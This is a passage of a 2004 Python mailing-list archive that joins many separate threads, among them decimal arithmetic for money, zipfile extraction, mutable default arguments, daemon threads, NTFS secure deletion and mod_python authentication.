is the answer. Just a couple of points. > """ > Floating point arithmetic is useful for continuous quantities, > or quantities that are measured (as in weighed, etc.) Integers > (and rationals) are useful for things that are counted, which > includes currency units, but also includes anything else that > comes in discrete units (apples and oranges, for instance). > """ > > That only applies until you start slicing the oranges, and only > applies here if you are dealing with actual pennies. When people > calculate interest, tax, etc, they want to deal in fractional pennies. > That's why we can't just use integer pennies and have done with it. > However, it is true that while fractions do need to be dealt with, the > should not "float". That being said, as someone mentioned, accounting > practices are not neccsarily logical. Personally, thinking of money it > terms of significant digits would be fine with me. Is there really any > point in keeping track of the pennies when talkin gof trillions of > dollars? This one was mine. There are a couple of points here in your response. First, there's a convention that avoids all of the trouble with incremental rounding. I've seen it used in a number of places, of which calculating withholding tax for US tax returns is probably the most accessable. The tax pamphlets give you a number of ways of doing this, but real payroll programs all do it one way: calculate the year to date tax, subtract the year to date withholding, and withhold the difference. This way you will always come out exactly even at the end of the year, without having to worry about rounding. (There are other issues in the US tax code that make it effectively impossible to come out with the right amount of tax - measured by the taxpayer's return - but those are not relevant here.) This answer also applies to several other connundrums later that I won't reply to. The last sentence confuses finance with accounting. In financial calculations, it is perfectly adequate to ignore insignificant amounts. In bookkeeping, it isn't. ... > One interesting distiction here: binary vs. decimal and floating point > vs. fixed point are orthoganal concepts that have been mingled here. > Alex pointed out that decimal floating point has the same problems as > binary as far as accuracy is concerned. > > """ > What we'd _really_ want to specify is 'keep exactly two digits AFTER > the > decimal point, no matter how many there are BEFORE', but that's not > decimal's job -- it's still a floating point type, albeit decimal, NOT > a > fixed-point one. Maybe we do need a fixed-point-decimal for 2.5...? > """ > > Or a currency type, specifically. Well, this was discussed and rejected - see the discussion on the decimal floating point PEP. I disagree with the rejection. [Shrug.] > > > thanks everyone, for some enlightening discussion. You're welcome. John Roth > > -Chris From roland.heiber at web.de Mon Sep 20 09:30:25 2004 From: roland.heiber at web.de (Roland Heiber) Date: Mon, 20 Sep 2004 15:30:25 +0200 Subject: How to count lines in a text file ? In-Reply-To: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> Message-ID: Ling Lee wrote: > Hi all. > > I'm trying to write a program that: > 1) Ask me what file I want to count number of lines in, and then counts the > lines and writes the answear out. > > 2) I made the first part like this: > > in_file = raw_input("What is the name of the file you want to open: ") > in_file = open("test.txt","r") > text = in_file.read() > > 3) I think that I have to use a for loop ( something like: for line in text: > count +=1) > Or maybee I have to do create a def: something like: ( def loop(line, > count)), but not sure how to do this properly. > And then perhaps use the readlines() function, but again not quite sure how > to do this. So do one of you have a good idea. > > Thanks for all help > > > text = in_file.readlines() print len(text) HtH, Roland From aleaxit at yahoo.com Wed Sep 29 09:50:46 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 15:50:46 +0200 Subject: Extracting Zip Files References: Message-ID: <1gkvnre.1xjwsmm801964N%aleaxit@yahoo.com> Greg Lindstrom wrote: > I've been zipping up files for months with zipfile, but today I was asked to > extract the contents of a zip file and was sure there would be an "extract" > method...but there's not one that I can find! Am I just missing something?? > I found a module, unzip.py, on Parnassus, but it doesn't work. Does anyone > have a way for me to extract files? Thanks! First, instantiate z=zipfile.ZipFile('whatever.zip'). Now, z.namelist() gives you a list of all the names in 'whatever.zip', and for each of these names z.read(name) gives you all the bytes. Net of subdirectory issues, therefore, something like (note: untested!): for n in z.namelist(): open(n, 'w').write(z.read(n)) should extract all files to the current directory. Alex From anon at anon.net Thu Sep 9 19:59:24 2004 From: anon at anon.net (anon) Date: Thu, 09 Sep 2004 16:59:24 -0700 Subject: attribute assignment effects all class instances Message-ID: <090920041659242407%anon@anon.net> I'm aware that you can assign a value to an attribute in all class instances by assigning to ., however, my case is slightly different and bizarre. In module node: top, left, mid, right = range(4) class Node: def __init__(self, ntype = None, function = None, symbol = None, meta = None, adjacent = [None, None, None, None]): self.type = ntype self.function = function self.symbol = symbol self.meta = meta self.adjacent = adjacent Here's the wierd thing, in another module I have: node.adjacent[left] = y where node is an instance of the Node class. This statement assigns all Node instances the value y to attribute adjacent[left]. This seems very wrong, unless python resolves names in a case-insensitive way. When I try the alternate: node.adjacent = [None, y, None, None] I get the behavior I expect (ie. only the instsance node gets its attribute set) Can anyone shed any light on this? Thanks. --Greg From albalmer at att.net Thu Sep 2 17:33:16 2004 From: albalmer at att.net (Alan Balmer) Date: Thu, 02 Sep 2004 14:33:16 -0700 Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com> Message-ID: On Thu, 02 Sep 2004 20:58:34 -0000, "David K. Wall" wrote: >Alan Balmer wrote in message >: > >> On Thu, 02 Sep 2004 20:32:09 +0200, "John Thingstad" >> wrote: > >>>I feel compelled to replay that Linux is based on the Posix >>>standard which is basically a recipie for writing unix. They did >>>not write a new operating system. They implemented a tested and >>>proven one. > >> Huh? Linux is only recently paying some attention to the POSIX >> standards. > >Linus deliberately tried to pay attention to the POSIX standard >almost as soon as he realized that his terminal emulator project >was turning into an OS. 1991 isn't all that long ago, but I'm >not sure I would refer to it as "recent" in this context. > >http://groups.google.com/groups?selm=1991Jul3.100050.9886%40klaava.Helsinki.FI I don't know that the "interest" he expresses in this post proves the point ;-) However, Linux was based on Minix, and I think Minix was POSIX.2 compliant. Actually, what I'm remembering is a few years ago, when I was querying a allegedly expert Linux developer. The question was, roughly, "Is Linux POSIX-compliant." and the answer was, roughly, "Not very." However, I seem to remember that we were talking POSIX.4 at the time. Many systems don't yet support all of dot-4. I haven't looked at the headers of my latest Linux install to see what sections are implemented - I'll try to do that tonight. Perhaps I'm misinterpreting John Thingstad's remarks, but I was mostly objecting to the idea that Linus sat down with a copy of the POSIX specifications and turned them into an OS. (Especially since not all of the current POSIX standards existed at the time :-) -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From jeff at ccvcorp.com Wed Sep 8 17:53:10 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 08 Sep 2004 14:53:10 -0700 Subject: Xah Lee's Unixism In-Reply-To: References: <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> Message-ID: <10juvnrt88k4868@corp.supernews.com> Chuck Dillon wrote: >> abridgement of >> civil liberties (as in the Patriot Act and the Gitmo gulag), > > > [...] How many U.S. citizens have been victimized? That's the problem -- we have *no* way of finding out, because part of the Patriot Act is a gag rule that prevents the public from knowing how it's used. It *may* be a small number, and we'd all like to think that it is, but we really don't know. > How many dead U.S. citizens does it take to justify that > victimization? Both numbers are quire small. Here there's a lot of room to disagree -- it's a tragedy when U.S. citizens are killed, but it's an even greater tragedy when the entirety of the U.S. loses its freedoms in the name of "security". "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety," as Benjamin Franklin said. The Patriot Act takes away our liberty in the name of temporary safety. We need better security than we had pre-9/11, certainly, but we can get it with a much lower cost to our personal liberty than has come with the Patriot Act. We *don't* need secret police investigations, secret courts, and secret detentions for secret reasons. Jeff Shannon Technician/Programmer Credit International From mark at pyzine.com Sun Sep 12 11:15:43 2004 From: mark at pyzine.com (Mark) Date: Sun, 12 Sep 2004 17:15:43 +0200 Subject: Py is looking for a few more article submissions In-Reply-To: <20040910194117.F05551E4020@bag.python.org> References: <20040910194117.F05551E4020@bag.python.org> Message-ID: <9DB6D136-04CE-11D9-9DE2-000D932A0486@pyzine.com> Hi, We are busy working on Py Issue 7 and 8 and are looking for a few more article submissions. Please see our Writers Guidelines at: http://www.pyzine.com and get paid to write about Python! Cheers, Mark From carribeiro at gmail.com Thu Sep 23 15:27:29 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 23 Sep 2004 16:27:29 -0300 Subject: Why not FP for Money? In-Reply-To: References: Message-ID: <864d3709040923122729a324d2@mail.gmail.com> On 23 Sep 2004 15:08:53 -0400, Aahz wrote: > Not sure of precise syntax (haven't tried 2.4 yet), but this should > work: > > a = decimal.from_float(35.72) I have downloaded 2.4, but couldn't install it yet. But the release notes states that, after long discussions, support for Decimal.from_float() was removed from the release, due to people being unable to reach a consensus on the precision to be used in the conversion. The problem is (to put it really simply) that 35.72 isn't really 35.72, it is: 32.719999999999999 What should from_float do? Truncate it to 2 digits isn't possible -- the fact that the literal was written with two digits was lost in the innards of the lexical analyzer long before from_float() is called. And to represent it internally as 32.719999999999999 will cause surprises for most people; but to truncate it arbitrarily is also problematic. So it was removed (that's what the release notes states, anyway) A native Money type, either with the $ signal ($35.72) or the suffix (35.72D) would not present the same issues, because the literal would be converted directly to the fixed point representation without the float intermediate step. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Fri Sep 17 18:14:59 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 18 Sep 2004 00:14:59 +0200 Subject: Finding a python object in c++ References: <20040917004949.GA4257@unpythonic.net> Message-ID: <1gka8gu.1whvgkbx6sudzN%aleaxit@yahoo.com> Brian Matt wrote: ... > //Assume python initialized and module imported > dict = PyModule_GetDict(module); > PyObject* pInst = PyDict_GetItemString(dict, "f1"); OK, but needlessly indirect. Doing just: PyObject* pInst = PyObject_GetAttrString(module, "f1"); should, I think, be preferable. > if(pInst) { > PyObject *pValue; > pValue = PyObject_CallMethod(pInst, "func", ""); > if(pValue) { > Py_DECREF(pValue); > } > } > > Note: this code doesn't handle error situations like making sure the > pInst variable is an instance object So much the better! If module.f1 has a func method that is callable without arguments, why ever would you want to prohibit it from being whatever type it wants to be? Maybe one day you'll want to recode the whole type in C, and if you'd gone to the misplaced trouble of "making sure [it] is an instance object" you'd just be creating headaches for yourself... Alex From yaipa at yahoo.com Mon Sep 6 01:54:09 2004 From: yaipa at yahoo.com (yaipa h.) Date: 5 Sep 2004 22:54:09 -0700 Subject: Automated Perl to Python translation? References: Message-ID: <6e07b825.0409052154.7a654c12@posting.google.com> steve at ferg.org (Stephen Ferg) wrote in message news:... > I need to translate some Perl scripts into Python. > > When I went looking for a tool that would help automate the > translation, I was rather surprised that I couldn't find anything. > BridgeKeeper, the only real candidate that I could find, is no longer > available. There are of course general-purpose parsing packages, but > I'm looking for something target specifically to Perl-to-Python > translation. > > Since I couldn't find anything, I've started to write my own. > Preliminary results are good, but before I spend any more time on it I > want to be really sure that I'm not re-inventing the wheel. > > Does anybody know of any tools to automate (or assist) Perl to Python > translation? don't know but there is a book out. Perl to Python Migration by Martin C. Brown Cheers. From roy at panix.com Mon Sep 20 21:10:39 2004 From: roy at panix.com (Roy Smith) Date: Mon, 20 Sep 2004 21:10:39 -0400 Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <414efed5$0$60631$a1866201@newsreader.visi.com> <414f7c66$0$60638$a1866201@newsreader.visi.com> Message-ID: In article <414f7c66$0$60638$a1866201 at newsreader.visi.com>, Grant Edwards wrote: > On 2004-09-20, Ajay wrote: > > Quoting Grant Edwards : > > > >> On 2004-09-20, Ajay wrote: > >> > >> > its actually windows that i would like to find out about. what > >> > i am trying to do is to anonymize client address by picking a > >> > random MAC address and using that instead > >> > >> That's a pretty bad idea. If you insist on doing it, read the > >> Ethernet spec so you make sure you're picking a valid address. > > > > and why is it a bad idea? > > How are you going to avoid collisions? I suppose it's a > sufficiently slim probability you can just ignore it. DECNET used to change the client MAC address. But then again, DECNET was a pretty bad idea :-) From __peter__ at web.de Mon Sep 20 12:41:20 2004 From: __peter__ at web.de (Peter Otten) Date: Mon, 20 Sep 2004 18:41:20 +0200 Subject: Inheritance question References: Message-ID: Yannick Turgeon wrote: > Hello, > > Thanks to reply. My question has been answered but I'm now wondering if I > do this the best way. > > In the real situation I'm implementing a protocol. "A" represent a > command. Say "0144AYHR78" (encoded data) means "Add client Joe" and > "0589UAWERT" means "Ship 3 compressors to Joe". What I want to do is to > create a "A" instance which find the command type and parameters and > "mutate" itself to the good command. All command parameters ("Joe" for the > first one and "3,compressor,Joe" for the secondeone) are kept in a sigle > list.So B1 and B2 would define the function "getClient()" and B2 would > define "getQty()" and "getProduct()" and some other command-specific work. > > while True: > encoded_data = readEncodedData() > command = A(encoded_data) > type_ = command .getType() # Define in "A" > if type_ == A.ADD: > # Do what I have to do with a "Add" command using the "command" > instance (B1) > elif type_ == A.SHIP: > # Do what I have to do with a "Ship" command using the "command" > instance (B2) > ... > > Any suggestion to do this in a better way Here's how I would do it based on the above: class Ship: def __init__(self, args): """ knows how to decode args """ self.quantity = # your code self.item = # your code self.client = # your code def execute(self): """ do what is necessary for shipment """ class Add: def __init__(self, args): """ knows how to decode args """ self.client = # your code def execute(self): """ add a client """ commands = { "0144": Add, # assuming the first 4 chars encode the command "0589": Ship, } def decode(data): """ separate the command and its arguments, hopefully possible without having to know individual commands """ return data[:4], data[4:] # may actually be more complicated while True: type_, args = decode(readEncodedData()) cmd = commands[type_](args) cmd.execute() Ship and Add may or may not share a common base class depending on whether you can factor out common functionality - e. g. a mixin that knows how decode the client, but you do not need to artificially introduce a common base class as a factory for the actual instances. Just make sure that __init__() takes a single argument and an execute() method taking no arguments is available. The client code (the while loop) is independent of the actual command, so ideally you just have to create a new class for a new command and enter it into the commands dictionary. Peter From dperl at rogers.com Wed Sep 8 00:23:06 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 08 Sep 2004 04:23:06 GMT Subject: Remove items from a list References: Message-ID: What is the content of _dbases? How do you create that list? If I understand correctly, it is a list of file names that you may have gotten with os.listdir( ). And I want to make sure I understand the problem. Are you trying to remove the names from the list or are you trying to remove the files themselves? Just making sure that it's not the latter... Can you put more in your example, something that I may be able to run and see the results? Dan "Stan Cook" wrote in message news:ysv%c.32876$Dl4.14767 at fe2.texas.rr.com... I was trying to take a list of files in a directory and remove all but the ".dbf" files. I used the following to try to remove the items, but they would not remove. Any help would be greatly appreciated. x = 0 for each in _dbases: if each[-4:] <> ".dbf": del each # also tried: del _dbases[x] x = x + 1 I must be doing something wrong, but it acts as though it is.... signed . . . . . at the end of my rope....! --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.749 / Virus Database: 501 - Release Date: 9/1/04 From abra9823 at mail.usyd.edu.au Tue Sep 14 08:57:01 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 14 Sep 2004 22:57:01 +1000 Subject: tkinter - grid layout question Message-ID: <1095166621.4146ea9d26d22@www-mail.usyd.edu.au> hi! is it possible to make a widget span more than one column in a grid? i have two radio buttons in row=1, column=0 and 1 now in row 2 i have a listbox. i'd like it to span both columns. how would i do that? thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From askari at addressNonValide.com Fri Sep 24 07:47:11 2004 From: askari at addressNonValide.com (Askari) Date: Fri, 24 Sep 2004 11:47:11 GMT Subject: Module Pygame - "FadeOut" text Message-ID: (Help for Pygame module) Hi, How I can make a "fadeout text"(alpha at 255,254,253...0) on a surface and my surface's background must be transparatly? Note : I can do a fadeout but with a background on the surface's text but I wan't a tranparently background. Example (don't work) : """ text = self.maFont12.render("Blablablabla", 1, (0,255,0)) #No Background #Foreground green text.set_alpha( i ) app.blit( text ,(10,10)) """ where "self.maFont12" is a font objet and "app" my destination surface and "i" the alpha number (255,254,253,... 0) Askari From project5 at redrival.net Wed Sep 8 04:20:13 2004 From: project5 at redrival.net (Andrei) Date: Wed, 8 Sep 2004 08:20:13 +0000 (UTC) Subject: Using Python to generate code? References: Message-ID: Tran Tuan Anh hotmail.com> writes: > 1. Can Python help to solve this issue? I have used Python for quite simple code generation/templating - not in C++, but that makes no difference. There are even special and not that complex tools for code generation, e.g. Cog (http://www.nedbatchelder.com/code/cog/index.html). > 2. Does Python has a parser? It seems to me that there is no-standard There are all kinds of parsers, but I've never used any of them. Google gives tons of links when searching for "python parser", so a more specific search would be wise. Yours, Andrei From ajm at flonidan.dk Wed Sep 29 08:01:56 2004 From: ajm at flonidan.dk (Anders J. Munch) Date: Wed, 29 Sep 2004 14:01:56 +0200 Subject: One thread freezes my whole application References: Message-ID: <415aa436$0$240$edfadb0f@dread14.news.tele.dk> "Michael Zhang" wrote: > The problem is when I click the connection button and invoke that > connection thread, the whole application (including base thread and > display thread) was frozen. What I expected was when one thread is > listerning the socket, the display thread should be able to continue its > running, and I should be able to invoke other (if any) threads from the > GUI base thread. Afterwards, I had to use ps/kill to clean them up. > [...] > > def run(self): > Cmodule.create_connection() # Cmodule is created from C > Do I understand you correctly that Cmodule is a C extension? If create_connection includes C code that does blocking I/O without releasing the global interpreter lock, your whole application will block. Perhaps that's what you're seeing. - Anders From EP at zomething.com Thu Sep 2 02:19:25 2004 From: EP at zomething.com (EP) Date: Wed, 1 Sep 2004 22:19:25 -0800 Subject: Announcing PyCs, a new Python-like language on .Net Message-ID: <20040901221925.2128958333.EP@zomething.com> Jeremy Bowers commented: > Basically, all the *really* cute Py* names are taken. I'd recommend doing > something that cleanly separates you from Python, and then just note the > descendance. The farther you are getting from an implementation of Python, > the more true this becomes. I think you will actually come to regret the > association if you make it too strong, as people will get ideas about your > language from the association, then be upset about the language when it > doesn't meet their expectations. Better to start fresh. My .02: First, why do you feel the need to create a new programming language?! If we wanted to be around innovation, do you thnk we'd work and play in IT? ;-) Re: "fresh" above: +1... and Naming is a fun exercise if you have time for it, and I'd suggest if you are going to sink your time into developing a programming language, you cannot afford not to spend the time on the name. Free associate, go to the beach or mountains, make love, ride a bicycle, stand on your head, go to a concert. Let ideas come to you without judging them (or requiring a "py" in them!) Gather names, toss them around more later unitl one grabs you, sticks with you. The name is actually the "brand" of the language; if you have high aspirations, you'll want a good brand flag to pursue them under. "Groovy" is a good name "Python" is a better name than "Perl" "Java" was a good name that seemed to make a difference "Prothon" (no offense intended) was a name with a prententious sound "Javascript" was a terrible name and hurt the "Java" name "Javascript" beat the hell out of "ECMAscript" "FORTRAN" is a solid name, and the language survives still "LISP" is a name you'd almost want to explain to people, like the language is only for insiders "XML", "PHP", and "CSS" work (barely) because they have so few letters; but are they names, are they really brands? XHTML, OASIS, XSD, RDF, XDR, XSL, XSLT, XQL --- these have no brand power at all. And I have to think about each to remember what it does and how it fits in. "SOAP" is a better name than "XML-RPC", but it would be better if it was "Soap" If you can't come up with a good name, use a letter and symbol or three (but no more than 3), e.g. C, C++, C#. Such will be non-objectionable, but will not help you in getting your language/technology adopted, or even remembered. Unfiltered ideas offered (30 seconds worth): Ray, Fish, V, Box, Fresh, Rotten, Spin, Tube, Hat, Bone, Gin, Clean, Tack, Pirate, Cell, Root, Open, Dove... You can do better than those, but those might be better (I'd say are definitely better) than Pycs or Pyxs or whatever you said (which, hint, hint, I can not remember). MS can get away with naming its languages _anything_. They don't need to market to you. You just need to comply with them. ;-) .... you WILL assimilate... What you name your language will have at least a subconscious impact on its future. As for domain name availability... screw the domain hogs, people can find you under something other than a .com or .org. If your new language (let's say "Bone") gains real traction and becomes a force, you may be able to acquire "Bone.com" or "Bone.org" later. The name is the brand and should not be driven by domain availability. Concept=>Brand=>Name=>URL cheers and good luck! Eric Pederson Chief Brandfoo, Waddiz! From tim.peters at gmail.com Mon Sep 27 12:06:31 2004 From: tim.peters at gmail.com (Tim Peters) Date: Mon, 27 Sep 2004 12:06:31 -0400 Subject: repeat something in a thread, but stop when the program stops In-Reply-To: <5db4fffa.0409270551.57a96cda@posting.google.com> References: <5db4fffa.0409270551.57a96cda@posting.google.com> Message-ID: <1f7befae0409270906485a35ad@mail.gmail.com> [Harald Armin Massa] > I need to do some synchronisations like in a cron.job > > import time > from threading import Thread > > class updater(Thread): > def run(self): > while True: > do_updates() > time.sleep(600) > > updater().start() > > # regular program flow continues .... > print "tralalala" > while True: > do_very_important_stuff() > if ask_user_if_I_should_stop(): > break > > print "programm stopped because YOU decided ..." > > ################################# > BUT ... the updater() thread keeps running. The software will not end > until forced with keyboard interrupt. It keeps running because you didn't mark your thread as a daemon thread. By default, Python waits for all threads to complete before it will exit. If you don't want Python to wait for some particular thread T, do T.setDaemon(True) before starting T. You have to accept that T will then get killed ungracefully by your operating system when Python exits (on most platforms). Peter Otten suggested Queue.get() with a timeout, and that can also be used. If you do that, the thread will wake up about 20 times per second to check the queue. The logic here is better suited to a Threading.Event, though (Queue is overkill; Event.wait() can also be given a timeout). ... > BUT... just to look at that queue the thread has to be activated. And > ... the usual run-time of the software will be around 10hours, the > update has to be done 20 times. And only in the evening the programm > will be ended (shutdown of the computer). And more over: it will be in > the background. time.sleep() takes essentially no processor time. > > Checking the queue will not stop the computer, but takes mor than > necessary. Measure it: you won't be able to see a difference. Modern processors cram on the order of 1E9 cycles into each second. Doing a tiny amount of work 20 times per second is trivial. From cpl.19.ghum at spamgourmet.com Sat Sep 18 10:26:22 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Sat, 18 Sep 2004 14:26:22 +0000 (UTC) Subject: sys.setdefaultencoding(name) References: Message-ID: Askari, > When I use the method ".get" from a widget (Text, Entry), the string > returned is "fucked"... That must be a virus or something. Encoding issues normally provide garbled strings, but not the word "fucked". Somebody is playing jokes with you. > I find, on net, that I must use "sys.setdefaultencoding(name)". setdefaultencoding gets removed from sys after execution of site.py / sitecustomize.py. My solution is to grab site.py, dig up "default encoding" and change from imperalistic ASCII to LATIN-1. Some told me that avangarde persons also take UTF8. Harald From duncan.booth at invalid.invalid Tue Sep 7 04:30:14 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 7 Sep 2004 08:30:14 GMT Subject: Secure delete with python References: Message-ID: Ville Vainio wrote in news:du74qmb9mzs.fsf at amadeus.cc.tut.fi: > Seriously? What OSen are known for doing this? I'd had thought that if > the file size is unchanged, the data is always written over the old > data... I don't know for certain, but I think it is a pretty safe bet that NTFS allocates new disc blocks instead of updating the existing ones. NTFS is a transaction based file system, i.e. it guarantees that any particular disc operation either completes or doesn't, you can never get file-system corruption due to a power loss part way through updating a file. Transactions are written to two transaction logs (in case one is corrupted on failure), and every few seconds the outstanding transactions are committed. Once committed there is sufficient information in the transaction log that even if power is lost the transaction can be completed, and likewise any transaction that has not been committed has sufficient information stored that it can be rolled back. There isn't very much published information on the NTFS internals (any useful references gratefully received), but so far as I can see writing updates to a fresh disc block would be the only realistic way to implement this (otherwise you would need to write the data three times: once to each transaction log then again to the actual file). If the data is written separately then the transaction log only needs to store the location of the new data (so it can be wiped if the transaction is rolled back) and then update pointers when it is committed. The other reason why I'm sure overwriting an existing file must allocate new disc blocks is that NTFS supports compression on files, so if you start off with a compressed file containing essentially random data and overwrite it with repeated data (e.g. nulls) it will occupy less disc space. From aleaxit at yahoo.com Thu Sep 9 03:28:33 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 09:28:33 +0200 Subject: print and % operator References: <82880e86.0409082143.7e50aa98@posting.google.com> Message-ID: <1gju9ya.vtmhcn12c727bN%aleaxit@yahoo.com> Ruchika wrote: > Hi, > > I am new to Python, so this may be a very simple question for most of > you. What does the % operator stand for in Python? I came across a Between numbers, it means "remainder of division", aka "modulo"; if the left-hand operator is a string, it means "formatting". > script that uses the % operator as follows - > > def sync(delf,name): > os.popen3( 'P4 -s sync -f %s' % name) Here it's formatting, as the LHO is a string, > > I would suspect that this just replaces the %s with the value of name. > Is % before name required? Should there be a space between % and name? The % is indeed required, spaces are optional (like most always between operators and other tokens -- no difference there between the operator % and other operators such as + * and so on). > On a similar note, how can I print the value of name using the print > statement? Should print %name print the value of name? No, there is no unary version of % -- just use: print name > > Most of the time, when I add some print statements to my script I get > Autoindent error. Can someone tell me what this error is and how to > fix it? Sounds like a problem with your editor, not with Python. Alex From mesteve_b at hotmail.com Sun Sep 26 19:03:05 2004 From: mesteve_b at hotmail.com (python newbie) Date: Sun, 26 Sep 2004 23:03:05 GMT Subject: Please Hlp with msg: "The C++ part of the StaticText object has been deleted" References: <4it5d.3230$nj.471@newssvr13.news.prodigy.com> <41570829.6090808@alldunn.com> Message-ID: Ok, thanks for the feedback, Robin From exogen at gmail.com Mon Sep 27 15:09:36 2004 From: exogen at gmail.com (Brian Beck) Date: Mon, 27 Sep 2004 15:09:36 -0400 Subject: Optimizing tips for os.listdir In-Reply-To: References: Message-ID: Thomas wrote: > I'm doing this : > > [os.path.join(path, p) for p in os.listdir(path) if \ > os.path.isdir(os.path.join(path, p))] > I don't have much time to experiment, but I came up with a method using os.walk: import os def childdirs(path): for root, dirs, files in os.walk(path): return [os.path.join(root, name) for name in dirs] This appears to be about the same speed as your code -- for all I know, os.walk could be doing the same exact thing under the hood. But perhaps someone could use this and come up with a one-liner -- as of now I can't think of a way to do it properly without containing it in a function. -- Brian Beck Adventurer of the First Order From me at privacy.net Fri Sep 24 18:43:12 2004 From: me at privacy.net (Richard Hanson) Date: Fri, 24 Sep 2004 15:43:12 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> Message-ID: Carlos Ribeiro wrote: > On Thu, 23 Sep 2004 17:53:16 -0700, Richard Hanson wrote: > > (I've already thought of Doors... -- doors are more useful than > > windows, aren't they? ;-) ) > > "Traps" are even more useful sometimes ;-) > > (...running for cover..) LOL! Ahem. (Note to self: I must maintain *some* sense of decorum in this forum... uh... for 'em.) ;-) stole-most-of that-one-from-the-"Cheers"-TV-program'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From maney at pobox.com Sun Sep 19 10:35:18 2004 From: maney at pobox.com (Martin Maney) Date: Sun, 19 Sep 2004 14:35:18 +0000 (UTC) Subject: So I guess PyUI is long abandonded? What else is there? References: <864d3709040918140135a95917@mail.gmail.com> <414cc1d1$0$25710$636a15ce@news.free.fr> Message-ID: Christophe Cavalaria wrote: > Well, I think that it's simply due to the fact that the docs for pyui are > out of date. And incomplete at any time, though that's hardly uncommon. > It's true that the gl rendere needs WGL, but the p3d renderer > only needs SDL and pygame to work. Too bad that they don't mention it, > isn't it ? It would be nice if the problem were so easily solved, but as of 0.95 (last one released as an installable package rather than an image of an installed-on-Windows tree), p3d seems to be openGL based and is, in fact, the invoker of the crash in some of the tests I tried to run to see if the package were working: elif renderer == "p3d": from renderers.openglPygame import OpenGLPygame renderers.openglPygame imports openglBase, and that tries to import the WGL thing, and then it falls over. :-( Perhaps you meant the "2d" renderer (aka pygame2D module)? With that explicitly requested, many of the test/demo programs run, sort of. Their behavior is not what I'd call encouraging, from the request for "font.ttf", with the failure, on both an older and quite recent version of pygame, reported as "Couldn't find arial.ttf" (WTF?), to the lack of any apparent means of stopping them other than control-C in the xterm from which they were run (well, or doing something that crashes them - I'm still not sure what I did to minesweeper). Oh, and there's no way to tell it what font you'd like to use, nor what size (at least with the pygame renderer; there's a "font" argument to one function, but it's ignored). Or are you supposed to go poking around at the module-scope variables, like poke'ing bytes into magic locations in a prehistoric Basic program? "Pining for the fjords" sounds about right. :-( -- Hebb's dictum: If it isn't worth doing, it isn't worth doing well. From haim at babysnakes.org Thu Sep 9 11:57:50 2004 From: haim at babysnakes.org (Haim Ashkenazi) Date: Thu, 09 Sep 2004 18:57:50 +0300 Subject: running web script with the permissions of the authenticated system user Message-ID: Hi A client of mine wants me to write a simple web interface for qmail's autorespond. this means that a user must authenticate with his system user/password, and then make some changes to the files on the user home directory. since this is done through NIS, it can't be done as root, and must be done as the user. I have 2 problems to solve: 1. authentication: the user must authenticate as a NIS user. this can be done by apache, but the module to do that is still alpha. I prefer to make it inside the script. 2. the script must run as the user authenticated. I can make it run as root and run system commands with 'su' but I was wondering is there a module in python to handle it. any ideas? thanx -- Haim From max at alcyone.com Tue Sep 28 02:51:51 2004 From: max at alcyone.com (Erik Max Francis) Date: Mon, 27 Sep 2004 23:51:51 -0700 Subject: Wiki on Python and Web Programming? References: <971il0hgt4ubrcd396figprevcvmh5epfn@4ax.com> Message-ID: <41590A07.EA69FFEF@alcyone.com> Tim Roberts wrote: > Isn't there a wiki somewhere that compares and contrasts the various > web > architectures available for Python? > > I've realized that I have built web sites based on at least 4 of the > popular contenders, and my experiences might be valuable to others. I > thought I remembered a comparison wiki, but I can't find it now. http://www.python.org/cgi-bin/moinmoin/WebProgramming -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ Some mistakes we must carry with us. -- Speaker-to-Animals From Moiz.Golawala at ge.com Wed Sep 15 16:17:20 2004 From: Moiz.Golawala at ge.com (Golawala, Moiz M (GE Infrastructure)) Date: Wed, 15 Sep 2004 16:17:20 -0400 Subject: mod_python authenhandler example Message-ID: Hi All, I am new to mod_python. I installed it yesterday and was trying out the mod_python authenhandler example in the documentation. When I typed in the url to go to a web page, sure enough a modpython asked me for the username and password and I was in. However when I close and reopen the browser and go to the url, I get in without authentication. If I change the expected password in the code and reload the page, I am asked for the username and password. But once in, I am never authenticated again no matter how often I reload the page or even restart the browser. I don't know if there is a browser setting in mozilla that is remembering the password and username and not authenticating me again. I deleted all the cookies, passwords, and history and it still wont work. Does anyone have a clue as to what is happening. 